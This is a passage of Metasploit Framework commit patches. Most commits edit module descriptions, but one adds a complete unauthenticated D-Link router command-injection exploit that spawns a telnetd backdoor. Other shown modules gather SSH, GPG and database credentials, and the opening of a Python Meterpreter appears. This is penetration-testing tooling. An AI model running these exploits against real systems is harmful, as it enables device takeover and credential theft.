'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", - :source_type => "user_supplied", - :active => true - ) - end - - return :abort if ([any_user,any_pass].include? :success) + unless (user == "anyuser" and pass == "anypass") + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? 'https' : 'http'), + :user => user, + :pass => pass, + :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", + :source_type => "user_supplied", + :active => true + ) + end + + return :abort if ([any_user,any_pass].include? :success) return :next_user else vprint_error("#{target_url} - Failed to login as '#{user}'") From e7206af5b5ff8cd4c559a092d6fe7014e534bf04 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 5 Aug 2013 09:08:17 -0500 Subject: [PATCH 092/454] OSVDB and comment doc fixes --- modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb | 3 ++- modules/exploits/linux/http/pineapp_livelog_exec.rb | 3 ++- modules/exploits/linux/http/pineapp_test_li_conn_exec.rb | 3 ++- modules/exploits/multi/http/struts_default_action_mapper.rb | 2 +- modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb | 2 +- 5 files changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb index c57c1d2b53c36..a64ae4f491abb 100644 --- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb +++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb @@ -29,7 +29,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/'] + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/' ], + [ 'OSVDB', '95781' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index c268950bc2140..599b1e2ffc763 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -29,7 +29,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/'] + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/'], + [ 'OSVDB', '95779'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index be2918c093971..e59ee40fa6060 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -29,7 +29,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-188/'] + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-188/'], + [ 'OSVDB', '95782'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 3c50d85ea1d78..4ec4a222fc788 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -1,7 +1,7 @@ ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. +# web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index bd78065c2c4a0..f69289c077227 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -1,5 +1,5 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to +# This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ From 5ea67586c897691c7b43913a495193c2abedd9f5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 5 Aug 2013 09:29:29 -0500 Subject: [PATCH 093/454] Rewrite description for MS13-005 The first part of the description was copy-pasted from http://packetstormsecurity.com/files/122588/ms13_005_hwnd_broadcast.rb.txt which contained some grammatical errors. Please try to avoid cribbing other researchers' descriptions directly for Metasploit modules. --- .../windows/local/ms13_005_hwnd_broadcast.rb | 28 +++++++++---------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index f69289c077227..58bd3d47ffecc 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -22,21 +22,19 @@ def initialize(info={}) super( update_info( info, 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation', 'Description' => %q{ - The Windows kernel does not properly isolate broadcast messages from low integrity - applications from medium or high integrity applications. This allows commands to be - broadcasted to an open medium or high integrity command prompts allowing escalation - of privileges. We can spawn a medium integrity command prompt, after spawning a low - integrity command prompt, by using the Win+Shift+# combination to specify the - position of the command prompt on the taskbar. We can then broadcast our command - and hope that the user is away and doesn't corrupt it by interacting with the UI. - Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, - Server 2012, RT. But Spawning a command prompt with the shortcut key does not work - in Vista so you will have to check if the user is already running a command prompt - and set SPAWN_PROMPT false. The WEB technique will execute a powershell encoded - payload from a Web location. The FILE technique will drop an executable to the - file system, set it to medium integrity and execute it. The TYPE technique will - attempt to execute a powershell encoded payload directly from the command line but - it may take some time to complete. + Due to a problem with isolating window broadcast messages in the Windows kernel, + an attacker can broadcast commands from a lower Integrity Level process to a + higher Integrity Level process, thereby effecting a privilege escalation. This + issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and + RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+# + does not work in Vista, so the attacker will have to check if the user is already + running a command prompt and set SPAWN_PROMPT false. + + Three exploit techniques are available with this module. The WEB technique will + execute a powershell encoded payload from a Web location. The FILE technique + will drop an executable to the file system, set it to medium integrity and execute + it. The TYPE technique will attempt to execute a powershell encoded payload directly + from the command line, but may take some time to complete. }, 'License' => MSF_LICENSE, 'Author' => From a885ff9bcc8e989105cbd7a75122deac62012bb6 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 5 Aug 2013 09:33:49 -0500 Subject: [PATCH 094/454] Use consistent caps for 'PowerShell' --- modules/exploits/windows/misc/psh_web_delivery.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb index 96036180a1c37..786d96028a4fd 100644 --- a/modules/exploits/windows/misc/psh_web_delivery.rb +++ b/modules/exploits/windows/misc/psh_web_delivery.rb @@ -14,11 +14,11 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Powershell Payload Web Delivery', + 'Name' => 'PowerShell Payload Web Delivery', 'Description' => %q{ - This module quickly fires up a web server that serves the payload in powershell. - The provided command will start powershell and then download and execute the - payload. The IEX command can also be extracted to execute directly from powershell. + This module quickly fires up a web server that serves the payload in PowerShell. + The provided command will start PowerShell and then download and execute the + payload. The IEX command can also be extracted to execute directly from PowerShell. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command himself, e.g. RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not From bddcb33507fee54094f033f21babbd90bbbe1b01 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 5 Aug 2013 09:35:14 -0500 Subject: [PATCH 095/454] Update description for reverse_https_proxy --- modules/payloads/stagers/windows/reverse_https_proxy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index aba1840e3b28e..8e6e6e9f13c4a 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -18,7 +18,7 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy', - 'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy', + 'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support', 'Author' => ['hdm','corelanc0d3r ', 'amaloteaux'], 'License' => MSF_LICENSE, 'Platform' => 'win', From 8431eb7a79f9585a3112403c708ca5bdcfba61e3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 5 Aug 2013 09:43:38 -0500 Subject: [PATCH 096/454] Msftidy fixes, also use correct possessive plurals http://englishplus.com/grammar/00000132.htm --- modules/post/linux/gather/ecryptfs_creds.rb | 6 +++--- modules/post/multi/gather/gpg_creds.rb | 4 ++-- modules/post/multi/gather/pgpass_creds.rb | 4 ++-- modules/post/multi/gather/ssh_creds.rb | 10 +++++----- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb index f9596a4739641..a83b6eeca7c73 100644 --- a/modules/post/linux/gather/ecryptfs_creds.rb +++ b/modules/post/linux/gather/ecryptfs_creds.rb @@ -21,9 +21,9 @@ def initialize(info={}) super( update_info(info, 'Name' => 'Gather eCryptfs Metadata', 'Description' => %q{ - This module will grab the contents of user's .ecrypts directory on - the targeted machine. Grabbed "wrapped-passphrase" files can be - cracked with JtR to get "mount passphrases". + This module will collect the contents of all users' .ecrypts directories on + the targeted machine. Collected "wrapped-passphrase" files can be + cracked with John the Ripper (JtR) to recover "mount passphrases". }, 'License' => MSF_LICENSE, 'Author' => ['Dhiru Kholia '], diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index 87c038e36b289..6d942bfd9002c 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -21,8 +21,8 @@ def initialize(info={}) super( update_info(info, 'Name' => 'Multi Gather GnuPG Credentials Collection', 'Description' => %q{ - This module will collect the contents of user's .gnupg directory on the targeted - machine. Password protected secret keyrings can be cracked with JtR. + This module will collect the contents of all users' .gnupg directories on the targeted + machine. Password protected secret keyrings can be cracked with John the Ripper (JtR). }, 'License' => MSF_LICENSE, 'Author' => ['Dhiru Kholia '], diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 321e02bf236ea..5f6b05a9d6ec1 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -22,8 +22,8 @@ def initialize(info={}) super( update_info(info, 'Name' => 'Multi Gather pgpass Credentials', 'Description' => %q{ - This module will collect the contents of user's .pgpass or pgpass.conf and - parse them for credentials. + This module will collect the contents of all users' .pgpass or pgpass.conf + file and parse them for credentials. }, 'License' => MSF_LICENSE, 'Author' => ['Zach Grace '], diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 15972aabc1005..d0540d8b6325b 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -22,7 +22,7 @@ def initialize(info={}) super( update_info(info, 'Name' => 'Multi Gather OpenSSH PKI Credentials Collection', 'Description' => %q{ - This module will collect the contents of user's .ssh directory on the targeted + This module will collect the contents of all users' .ssh directories on the targeted machine. Additionally, known_hosts and authorized_keys and any other files are also downloaded. This module is largely based on firefox_creds.rb. }, @@ -59,9 +59,9 @@ def download_loot(paths) sep = "/" files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/) end - path_array = path.split(sep) - path_array.pop - user = path_array.pop + path_array = path.split(sep) + path_array.pop + user = path_array.pop files.each do |file| next if [".", ".."].include?(file) data = read_file("#{path}#{sep}#{file}") @@ -79,7 +79,7 @@ def download_loot(paths) :host => session.session_host, :port => 22, :sname => 'ssh', - :user => user, + :user => user, :pass => loot_path, :source_type => "exploit", :type => 'ssh_key', From 40f015f5965907310c3f6fd43a34c67741e0b9ed Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 5 Aug 2013 09:56:32 -0500 Subject: [PATCH 097/454] Avoid require race with powershell --- modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index 58bd3d47ffecc..a0aade310e3ab 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -8,6 +8,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking From 786f16fc917e0ed11603754baaf98504bc6d8430 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 5 Aug 2013 21:55:30 +0200 Subject: [PATCH 098/454] feedback included --- .../linux/http/dlink_dir300_exec_telnet.rb | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 6244c894ae8e1..4e4235dc79e46 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -109,20 +109,24 @@ def test_login(user, pass) "login" => "+Log+In+" } }) - return if res.nil? - return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/) - return if (res.code == 404) + if res.nil? + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response") + end + if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner") + end + if (res.code == 404) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error") + end if (res.body) =~ /#{login_check}/ print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") - return end rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end @@ -200,8 +204,7 @@ def request(cmd) }) return res rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end end From dd35495fb847ef97512dd0d8fd3dcab1dc9d1d79 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 5 Aug 2013 22:28:59 +0200 Subject: [PATCH 099/454] dir 300 and 600 auxiliary module replacement --- .../http/dlink_command_php_exec_noauth.rb | 161 ++++++++++++++++++ 1 file changed, 161 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_command_php_exec_noauth.rb diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb new file mode 100644 index 0000000000000..632e4fa752f67 --- /dev/null +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -0,0 +1,161 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection via the web + interface. The vulnerability exists in command.php, which is accessible without + authentication. This module has been tested with the versions DIR-600 2.14b01, + DIR-300 rev B 2.13. + Two target are included, first to start a telnetd service and establish a session over + it and second to run commands via the CMD target. There is no wget or tftp client to + upload an elf backdoor easily. + According to the vulnerability discoverer, more D-Link devices may affected. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '89861' ], + [ 'EDB', '24453' ], + [ 'BID', '57734' ], + [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], + [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] + ], + 'DisclosureDate' => 'Feb 04 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'CMD', #all devices + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Telnet', #all devices - default target + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + ], + 'DefaultTarget' => 1 + )) + end + + def exploit + if target.name =~ /CMD/ + exploit_cmd + else + exploit_telnet + end + end + + def exploit_cmd + if not (datastore['CMD']) + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + end + cmd = "#{payload.encoded}; echo end" + res = request(cmd) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + if res.body.include?("end") + print_good("#{rhost}:#{rport} - Exploited successfully\n") + vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") + vprint_line("#{rhost}:#{rport} - Output: #{res.body}") + else + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + return + end + + def exploit_telnet + telnetport = rand(65535) + + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + + cmd = "telnetd -p #{telnetport}" + + #starting the telnetd gives no response + request(cmd) + + begin + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + + if sock + print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") + add_socket(sock) + else + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" + auth_info = { + :host => rhost, + :port => telnetport, + :sname => 'telnet', + :user => "", + :pass => "", + :source_type => "exploit", + :active => true + } + report_auth_info(auth_info) + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => nil, + 'PASSWORD' => nil + } + start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) + rescue + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + end + return + end + + def request(cmd) + + uri = '/command.php' + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => { + "cmd" => cmd + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + end + end +end From 2d69174c5b8fa9628b1346914c20bac22ed1ebaa Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 5 Aug 2013 23:38:49 -0400 Subject: [PATCH 100/454] Initial commit of the python meterpreter. --- data/meterpreter/ext_server_stdapi.py | 504 ++++++++++++++++++ data/meterpreter/meterpreter.py | 392 ++++++++++++++ lib/msf/base/sessions/meterpreter_python.rb | 29 + lib/rex/constants.rb | 4 +- modules/payloads/stagers/python/bind_tcp.rb | 55 ++ .../payloads/stagers/python/reverse_tcp.rb | 53 ++ modules/payloads/stages/python/meterpreter.rb | 36 ++ 7 files changed, 1072 insertions(+), 1 deletion(-) create mode 100644 data/meterpreter/ext_server_stdapi.py create mode 100644 data/meterpreter/meterpreter.py create mode 100644 lib/msf/base/sessions/meterpreter_python.rb create mode 100644 modules/payloads/stagers/python/bind_tcp.rb create mode 100644 modules/payloads/stagers/python/reverse_tcp.rb create mode 100644 modules/payloads/stages/python/meterpreter.rb diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py new file mode 100644 index 0000000000000..36fdee9d5caf1 --- /dev/null +++ b/data/meterpreter/ext_server_stdapi.py @@ -0,0 +1,504 @@ +import os +import sys +import shlex +import socket +import struct +import shutil +import fnmatch +import getpass +import platform +import subprocess + +## +# STDAPI +## + +# +# TLV Meta Types +# +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_COMPRESSED = (1 << 29) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) +# not defined in original +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) + +# +# TLV Specific Types +# +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 + +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 + +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 + +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 + +## +# General +## +TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 + +## +# Fs +## +TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 +TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 +TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 +TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 +TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 + +TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 + +TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 +TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 +TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 +TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 + +## +# Net +## +TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 +TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 + +TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 +TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 +TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 +TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 + +TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 +TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 +TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 +TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 + +TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 +TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 +TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 + +# Socket +TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 +TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 +TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 +TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 +TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 + +TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 + +## +# Sys +## +PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) +PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) +PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) +PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) + +# Registry +TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY +TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 +TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 +TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 +TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 +TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 +TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 + +# Config +TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 +TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 +TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 +TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 + +DELETE_KEY_FLAG_RECURSIVE = (1 << 0) + +# Process +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 +TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 +TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 +TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 +TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 +TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 +TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 +TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 +TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 +TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 +TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 +TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 +TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 +TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 + +TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 +TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 +TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 +TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 + +TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 +TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 +TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 + +TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 +TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 +TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 +TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 + +## +# Ui +## +TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 +TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 